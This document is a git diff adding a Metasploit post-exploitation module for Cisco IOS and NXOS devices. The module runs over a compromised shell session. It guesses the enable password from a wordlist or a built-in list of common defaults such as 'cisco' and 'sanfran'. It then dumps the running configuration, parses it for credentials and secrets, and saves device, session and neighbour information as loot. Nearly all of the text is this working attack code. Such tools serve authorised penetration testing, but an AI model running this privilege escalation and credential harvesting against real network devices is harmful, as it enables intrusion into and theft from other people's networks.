diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb new file mode 100644 index 0000000000..418df066b9 --- /dev/null +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -0,0 +1,241 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/auxiliary/cisco' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Cisco + def initialize(info={}) + super( update_info( info, + 'Name' => 'Gather Cisco Device General Information', + 'Description' => %q{ + This module collects a Cisco IOS or NXOS device information and configuration. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Carlos Perez '], + 'Version' => '$Revision$', + 'Platform' => [ 'ios'], + 'SessionTypes' => [ 'shell' ] + )) + register_options( + [ + OptString.new('ENABLE', [ false, 'Enable password for changing privilege leve.']), + OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.']) + ], self.class) + + end + + def run + # Get device prompt + prompt = session.shell_command("") + + # Set terminal length to 0 so no paging is required + session.shell_write("term len 0 \n") + + # Get version info + print_status("Getting version information") + show_ver_cmd = "show version" + ver_out = session.shell_command(show_ver_cmd) + ver = ver_out.gsub(/show version/,"") + + + # Get current privilege level + print_status("Getting privilege level") + priv_cmd = "show priv" + priv = (session.shell_command(priv_cmd)).scan(/privilege level is (\d*)/).join + + # Check if this is a Nexus or IOS box + case ver + when /Nexus/ + os_type = "Nexus" + mode = "EXEC" + os_loot = "nxos" + when /IOS/ + os_type = "IOS" + os_loot = "ios" + end + if os_type == "IOS" + case prompt + when />/ + mode = "EXEC" + when /#/ + mode = "PRIV" + end + end + + print_status("The device OS is #{os_type}") + print_status("Session running in mode #{mode}") + print_status("Privilege level #{priv}") + + case os_type + when /IOS/ + ver_loc = store_loot("cisco.ios.version", + "text/plain", + session, + ver.strip, + "version.txt", + "Cisco IOS Version") + when /Nexus/ + ver_loc = store_loot("cisco.nxos.version", + "text/plain", + session, + ver.strip, + "version.txt", + "Cisco NXOS Version") + end + + # Print the version of VERBOSE set to true. + vprint_status("version information stored in to loot, file:#{ver_loc}") + + # Enumerate depending priv level + case priv + when "1" + enum_exec(prompt) + if get_enable(datastore['ENABLE'],datastore['WORDLIST']) + enum_priv(prompt) + end + when /7|15/ + enum_exec(prompt) + enum_priv(prompt) + end + end + + def get_enable(enable_pass,pass_file) + if enable_pass + found = false + en_out = session.shell_command("enable").to_s.strip + en_out = session.shell_command(enable_pass) + if en_out =~ /Password:/ + print_error("Failed to change privilege level using provided Enable password.") + else + found = true + end + else + if pass_file + if not ::File.exists?(pass_file) + print_error("Wordlist File #{pass_file} does not exists!") + return + end + creds = ::File.open(pass_file, "r") + else + creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n" + end + print_status("Trying to get higher privilege level with common Enable passwords..") + + # Try just the enable command + en_out = session.shell_command("enable").to_s.strip + if en_out =~ /Password:/ + creds.each_line do |p| + next if p.strip.length < 1 + next if p[0,1] == "#" + print_status("\tTrying password #{p.strip}") + pass_out = session.shell_command(p.strip).to_s.strip + vprint_status("Response: #{pass_out}") + session.shell_command("enable").to_s.strip if pass_out =~ /Bad secrets/ + found = true if pass_out =~ /#/ + break if found + end + else + found = true + end + end + if found + print_good("Obtained higher privilege level.") + return true + else + print_error("Cold not obtain higher privilege level.") + return false + end + end + + # Run enumeration commands for when privilege level is 7 or 15 + def enum_priv(prompt) + host,port = session.tunnel_peer.split(':') + priv_commands = [ + { + "cmd" => "show run", + "fn" => "run_config", + "desc" => "Cisco Device running configuration" + }, + { + "cmd" => "show cdp neigh", + "fn" => "cdp_neighbors", + "desc" => "Cisco Device CDP Neighbors" + }, + { + "cmd" => "show lldp neigh", + "fn" => "cdp_neighbors", + "desc" => "Cisco Device LLDP Neighbors" + } + ] + priv_commands.each do |ec| + cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"") + next if cmd_out =~ /Invalid input|%/ + print_status("Gathering info from #{ec['cmd']}") + # Process configuration + if ec['cmd'] =~/show run/ + print_status("Parsing running configuration for credentials and secrets...") + cisco_ios_config_eater(host,port,cmd_out) + end + cmd_loc = store_loot("cisco.ios.#{ec['fn']}", + "text/plain", + session, + cmd_out.strip, + "#{ec['fn']}.txt", + ec['desc']) + vprint_status("Saving to #{cmd_loc}") + end + end + + # run commands found in exec mode under privilege 1 + def enum_exec(prompt) + exec_commands = [ + { + "cmd" => "show ssh", + "fn" => "ssh_sessions", + "desc" => "SSH Sessions on Cisco Device" + }, + { + "cmd" => "show sessions", + "fn" => "telnet_sessions", + "desc" => "Telnet Sessions on Cisco Device" + }, + { + "cmd" => "show login", + "fn" => "login_settings", + "desc" => "Login settings on Cisco Device" + }, + { + "cmd" => "show ip interface brief", + "fn" => "interface_info", + "desc" => "IP Enabled Interfaces on Cisco Device" + }, + { + "cmd" => "show inventory", + "fn" => "hw_inventory", + "desc" => "Hardware component inventory for Cisco Device" + }] + exec_commands.each do |ec| + cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"") + next if cmd_out =~ /Invalid input|%/ + print_status("Gathering info from #{ec['cmd']}") + cmd_loc = store_loot("cisco.ios.#{ec['fn']}", + "text/plain", + session, + cmd_out.strip, + "#{ec['fn']}.txt", + ec['desc']) + vprint_status("Saving to #{cmd_loc}") + end + end +end